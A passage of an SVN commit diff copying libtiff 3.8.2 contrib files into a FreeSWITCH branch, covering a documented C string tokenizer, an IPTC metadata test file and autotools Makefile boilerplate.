+				usage of break characters to signal the end
+				of a token is the same as that of white space,
+				except multiple break characters with nothing
+				or only white space between generate a null
+				token for each two break characters together.
+
+				for example, if blank is set to be the white
+				space and comma is set to be the break
+				character, the line ...
+
+				A, B, C ,  , DEF
+
+				... consists of 5 tokens:
+
+				1)	"A"
+				2)	"B"
+				3)	"C"
+				4)	""      (the null string)
+				5)	"DEF"
+
+	quote character: 	a character that, when surrounding a group
+				of other characters, causes the group of
+				characters to be treated as a single token,
+				no matter how many white spaces or break
+				characters exist in the group.	also, a
+				token always terminates after the closing
+				quote.	for example, if ' is the quote
+				character, blank is white space, and comma
+				is the break character, the following
+				string ...
+
+				A, ' B, CD'EF GHI
+
+				... consists of 4 tokens:
+
+				1)	"A"
+				2)	" B, CD" (note the blanks & comma)
+				3)	"EF"
+				4)	"GHI"
+
+				the quote characters themselves do
+				not appear in the resultant tokens.  the
+				double quotes are delimiters i use here for
+				documentation purposes only.
+
+	escape character:	a character which itself is ignored but
+				which causes the next character to be
+				used as is.  ^ and \ are often used as
+				escape characters.  an escape in the last
+				position of the string gets treated as a
+				"normal" (i.e., non-quote, non-white,
+				non-break, and non-escape) character.
+				for example, assume white space, break
+				character, and quote are the same as in the
+				above examples, and further, assume that
+				^ is the escape character.  then, in the
+				string ...
+
+				ABC, ' DEF ^' GH' I ^ J K^ L ^
+
+				... there are 7 tokens:
+
+				1)	"ABC"
+				2)	" DEF ' GH"
+				3)	"I"
+				4)	" "     (a lone blank)
+				5)	"J"
+				6)	"K L"
+				7)	"^"     (passed as is at end of line)
+
+
+	OK, now that you have this background, here's how to call "tokenizer":
+
+	result=tokenizer(flag,token,maxtok,string,white,break,quote,escape,
+		      brkused,next,quoted)
+
+	result: 	0 if we haven't reached EOS (end of string), and
+			1 if we have (this is an "int").
+
+	flag:		right now, only the low order 3 bits are used.
+			1 => convert non-quoted tokens to upper case
+			2 => convert non-quoted tokens to lower case
+			0 => do not convert non-quoted tokens
+			(this is a "char").
+
+	token:		a character string containing the returned next token
+			(this is a "char[]").
+
+	maxtok: 	the maximum size of "token".  characters beyond
+			"maxtok" are truncated (this is an "int").
+
+	string: 	the string to be parsed (this is a "char[]").
+
+	white:		a string of the valid white spaces.  example:
+
+			char whitesp[]={" \t"};
+
+			blank and tab will be valid white space (this is
+			a "char[]").
+
+	break:		a string of the valid break characters.  example:
+
+			char breakch[]={";,"};
+
+			semicolon and comma will be valid break characters
+			(this is a "char[]").
+
+			IMPORTANT:  do not use the name "break" as a C
+			variable, as this is a reserved word in C.
+
+	quote:		a string of the valid quote characters.  an example
+			would be
+
+			char whitesp[]={"'\"");
+
+			(this causes single and double quotes to be valid)
+			note that a token starting with one of these characters
+			needs the same quote character to terminate it.
+
+			for example,
+
+			"ABC '
+
+			is unterminated, but
+
+			"DEF" and 'GHI'
+
+			are properly terminated.  note that different quote
+			characters can appear on the same line; only for
+			a given token do the quote characters have to be
+			the same (this is a "char[]").
+
+	escape: 	the escape character (NOT a string ... only one
+			allowed).  use zero if none is desired (this is
+			a "char").
+
+	brkused:	the break character used to terminate the current
+			token.	if the token was quoted, this will be the
+			quote used.  if the token is the last one on the
+			line, this will be zero (this is a pointer to a
+			"char").
+
+	next:		this variable points to the first character of the
+			next token.  it gets reset by "tokenizer" as it steps
+			through the string.  set it to 0 upon initialization,
+			and leave it alone after that.	you can change it
+			if you want to jump around in the string or re-parse
+			from the beginning, but be careful (this is a
+			pointer to an "int").
+
+	quoted: 	set to 1 (true) if the token was quoted and 0 (false)
+			if not.  you may need this information (for example:
+			in C, a string with quotes around it is a character
+			string, while one without is an identifier).
+
+			(this is a pointer to a "char").
+*/
+
+/* states */
+
+#define IN_WHITE 0
+#define IN_TOKEN 1
+#define IN_QUOTE 2
+#define IN_OZONE 3
+
+int _p_state;	   /* current state	 */
+unsigned _p_flag;  /* option flag	 */
+char _p_curquote;  /* current quote char */
+int _p_tokpos;	   /* current token pos  */
+
+/* routine to find character in string ... used only by "tokenizer" */
+
+int sindex(char ch,char *string)
+{
+  char *cp;
+  for(cp=string;*cp;++cp)
+    if(ch==*cp)
+      return (int)(cp-string);	/* return postion of character */
+  return -1;			/* eol ... no match found */
+}
+
+/* routine to store a character in a string ... used only by "tokenizer" */
+
+void chstore(char *string,int max,char ch)
+{
+  char c;
+  if(_p_tokpos>=0&&_p_tokpos<max-1)
+  {
+    if(_p_state==IN_QUOTE)
+      c=ch;
+    else
+      switch(_p_flag&3)
+      {
+	    case 1: 	    /* convert to upper */
+	      c=toupper(ch);
+	      break;
+
+	    case 2: 	    /* convert to lower */
+	      c=tolower(ch);
+	      break;
+
+	    default:	    /* use as is */
+	      c=ch;
+	      break;
+      }
+    string[_p_tokpos++]=c;
+  }
+  return;
+}
+
+int tokenizer(unsigned inflag,char *token,int tokmax,char *line,
+  char *white,char *brkchar,char *quote,char eschar,char *brkused,
+    int *next,char *quoted)
+{
+  int qp;
+  char c,nc;
+
+  *brkused=0;		/* initialize to null */
+  *quoted=0;		/* assume not quoted  */
+
+  if(!line[*next])	/* if we're at end of line, indicate such */
+    return 1;
+
+  _p_state=IN_WHITE;   /* initialize state */
+  _p_curquote=0;	   /* initialize previous quote char */
+  _p_flag=inflag;	   /* set option flag */
+
+  for(_p_tokpos=0;(c=line[*next]);++(*next))	/* main loop */
+  {
+    if((qp=sindex(c,brkchar))>=0)  /* break */
+    {
+      switch(_p_state)
+      {
+	    case IN_WHITE:		/* these are the same here ...	*/
+	    case IN_TOKEN:		/* ... just get out		*/
+	    case IN_OZONE:		/* ditto			*/
+	      ++(*next);
+	      *brkused=brkchar[qp];
+	      goto byebye;
+
+	    case IN_QUOTE:		 /* just keep going */
+	      chstore(token,tokmax,c);
+	      break;
+      }
+    }
+    else if((qp=sindex(c,quote))>=0)  /* quote */
+    {
+      switch(_p_state)
+      {
+	    case IN_WHITE:	 /* these are identical, */
+	      _p_state=IN_QUOTE; /* change states   */
+	      _p_curquote=quote[qp]; /* save quote char */
+	      *quoted=1;	/* set to true as long as something is in quotes */
+	      break;
+
+	    case IN_QUOTE:
+	      if(quote[qp]==_p_curquote) /* same as the beginning quote? */
+	      {
+	        _p_state=IN_OZONE;
+	        _p_curquote=0;
+	      }
+	      else
+	        chstore(token,tokmax,c); /* treat as regular char */
+	      break;
+
+	    case IN_TOKEN:
+	    case IN_OZONE:
+	      *brkused=c; /* uses quote as break char */
+	      goto byebye;
+      }
+    }
+    else if((qp=sindex(c,white))>=0) /* white */
+    {
+      switch(_p_state)
+      {
+	    case IN_WHITE:
+	    case IN_OZONE:
+	      break;		/* keep going */
+
+	    case IN_TOKEN:
+	      _p_state=IN_OZONE;
+	      break;
+
+	    case IN_QUOTE:
+	      chstore(token,tokmax,c); /* it's valid here */
+	      break;
+      }
+    }
+    else if(c==eschar)  /* escape */
+    {
+      nc=line[(*next)+1];
+      if(nc==0) 		/* end of line */
+      {
+	    *brkused=0;
+	    chstore(token,tokmax,c);
+	    ++(*next);
+	    goto byebye;
+      }
+      switch(_p_state)
+      {
+	    case IN_WHITE:
+	      --(*next);
+	      _p_state=IN_TOKEN;
+	      break;
+
+	    case IN_TOKEN:
+	    case IN_QUOTE:
+	      ++(*next);
+	      chstore(token,tokmax,nc);
+	      break;
+
+	    case IN_OZONE:
+	      goto byebye;
+      }
+    }
+    else	/* anything else is just a real character */
+    {
+      switch(_p_state)
+      {
+	    case IN_WHITE:
+	      _p_state=IN_TOKEN; /* switch states */
+
+	    case IN_TOKEN:		 /* these 2 are     */
+	    case IN_QUOTE:		 /*  identical here */
+	      chstore(token,tokmax,c);
+	      break;
+
+	    case IN_OZONE:
+	      goto byebye;
+      }
+    }
+  }		/* end of main loop */
+
+byebye:
+  token[_p_tokpos]=0;	/* make sure token ends with EOS */
+
+  return 0;
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/test.iptc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/test.iptc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil/test.iptc)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/test.txt

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/test.txt (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/iptcutil/test.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/test.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/iptcutil/test.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+2#0="&#0;&#2;"
+2#120#Caption="Chairman of the US House Judiciary Committee, Henry Hyde,R-IL, makes his opening statement during impeachment hearings 11 December on Capitol Hill in Washington, DC. The committee is debating the articles of impechment and my take a vote on the impeachment of US President BIll Clinton on charges that he obstucted justice, lied and abused the power of his office as early as today.    AFP PHOTO Paul J. RICHARDS&#13;"
+2#122#Caption Writer="kb/lt"
+2#100#Country Code="USA"
+2#105#Headline="Old fart squeezing two fingers."
+2#30#Release Date="19981211"
+2#35#Release Time="000000+0000"
+2#40#Special Instructions="This is a test. This is only a test. ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890"
+2#80#Byline="PAUL J. RICHARDS"
+2#85#Byline Title="STF"
+2#110#Credit="AFP"
+2#65#Originating Program="MacDesk Reporter"
+2#115#Source="AFP"
+2#5#Image Name="US-HYDE"
+2#55#Created Date="19981211"
+2#90#City="WASHINGTON"
+2#95#Province State="DC"
+2#101#Country="UNITED STATES"
+2#103#Original Transmission Reference="DCA03"
+2#15#Category="POL"
+2#20#Supplemental Category="GOVERNMENT"
+2#10#Priority="5"
+2#25#Keyword="fart"
+2#25#Keyword="squeezing"
+2#25#Keyword="old"
+2#25#Keyword="fingers"
+2#75#Object Cycle="a"
+2#60#Created Time="000000+0000"
+2#70#Program Version="2.0.3"
+2#130="3S"
+2#135="GB"
+2#231="Kaya A. Hoffmann 12/14/98 12:00:44 PM  Copy To : Selects - \\KINYANI\Selects&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;&#0;"

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = Makefile.script README mac_main.c mac_main.h metrowerks.note mkg3_main.c version.h
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/mac-cw
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = Makefile.script README mac_main.c mac_main.h metrowerks.note mkg3_main.c version.h
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/mac-cw/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/mac-cw/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.script

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.script (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/Makefile.script) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.script	                        (rev 0)
